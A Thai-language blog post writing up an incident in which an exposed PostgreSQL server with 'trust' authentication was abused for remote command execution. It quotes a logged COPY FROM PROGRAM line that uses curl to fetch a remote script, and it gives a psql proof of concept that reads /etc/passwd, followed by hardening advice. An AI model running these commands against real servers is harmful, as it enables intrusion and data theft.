[บันทึกกันลืม] RCE ผ่านทาง Postgresql

ปัญหา: รับแจ้งจาก SOC ว่าเครื่องหนึ่งในความดูแล

[Sangfor: Security Incident Notification]
Incident Name:Reverse Shell Attack
Incident Type:System Backdoor

หลังจากตรวจสอบ พบว่า /tmp มีไฟล์แปลก สร้างด้วยยูสเซอร์ postgres เช่น

/tmp/x.txt

ตรวจสอบพบว่า postgresql ติดตั้งจริง บน OS จากนั้น เข้าไปตรวจ postgrsql log file พบว่า มีการใช้คำสั่ง (ในที่นี้ เปลี่ยน URL เพื่อความปลอดภัย)

copy result from program 'curl -fsSL -m180 https://gist.github.com/nagarindkx/f8aa9518037eb598714291da1b2b75da#file-hello-sh -o /tmp/x.txt';

ตรวจสอบ /var/lib/postgresql/data/pg_hba.conf พบว่า

local   all             all                                     trust
# IPv4 local connections:
host    all             all             0.0.0.0/0            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
# Allow replication connections from localhost, by a user with the
# replication privilege.
local   replication     all                                     trust
host    replication     all             127.0.0.1/32            trust
host    replication     all             ::1/128                 trust

host all all all scram-sha-256

แสดงให้เห็นว่า postgres สามารถเข้าถึงได้ โดยไม่ต้องใส่รหัสผ่านเพราะเป็น trust

สาเหตุ:

  • เพราะก่อนหน้านี้หลายปี ได้ทดสอบ Apache Hive โดยติดตั้ง PostgreSQL ด้วย และเปิดให้เข้าถึงได้ ซึ่งไม่รัดกุม ต่อมาได้ถอน Apache Hive ออกไป แต่ไม่ได้เอา PostgreSQL ออก
  • มีการติดตั้ง curl ไว้ใน OS ด้วย จึงทำให้ COPY statement สามารถเรียกใช้ไฟล์จากภายนอกได้

POC:

ลองใช้งานคำสั่งจาก psql เครื่องอื่น

psql -h x.x.x.x -p 5432 -U postgres -d postgres

ปรากฏว่า เข้ามาใน psql shell ได้

ใช้คำสั่งต่างเช่น

postgres=# copy result from program 'cat /etc/passwd';
COPY 19
postgres=# select * from result;
                                content                                 
------------------------------------------------------------------------
 /var/lib/postgresql/data
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 postgres:x:999:999::/var/lib/postgresql:/bin/bash

และสามารถใช้คำสั่ง curl เพื่อเอาไฟล์จากภายนอกเข้ามาได้เช่นกัน

สิ่งที่ควรตรวจสอบ:

  1. ใครมี PostgreSQL ให้ตรวจสอบ /var/lib/postgresql/data/pg_hba.conf ว่าเปิดให้เข้าถึงจากภายนอกได้มากเกินไปหรือไม่ และไม่ควรเปิดให้ Trust จากนอกเครื่อง
  2. ควรมี Firewall ปกป้อง และไม่ใครใช้ default port
  3. ตรวจสอบการใช้คำสั่ง COPY ไว้บ้าง
  4. บางที เราก็คิดว่าเครื่องนี้ไม่มี web server น่าจะไม่สามารถเอาไฟล์ขึ้นมาวางได้ แต่มีช่องนี้ ซึ่งเสี่ยงพอ ๆ กันเลย

โชคดีที่คราวนี้ ไม่มีความเสียหายใด เพราะไม่มีข้อมูลใด ๆ ใน PostgreSQL และทาง SOC ตรวจสอบให้อย่างต่อเนื่อง

ขอบคุณครับ

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *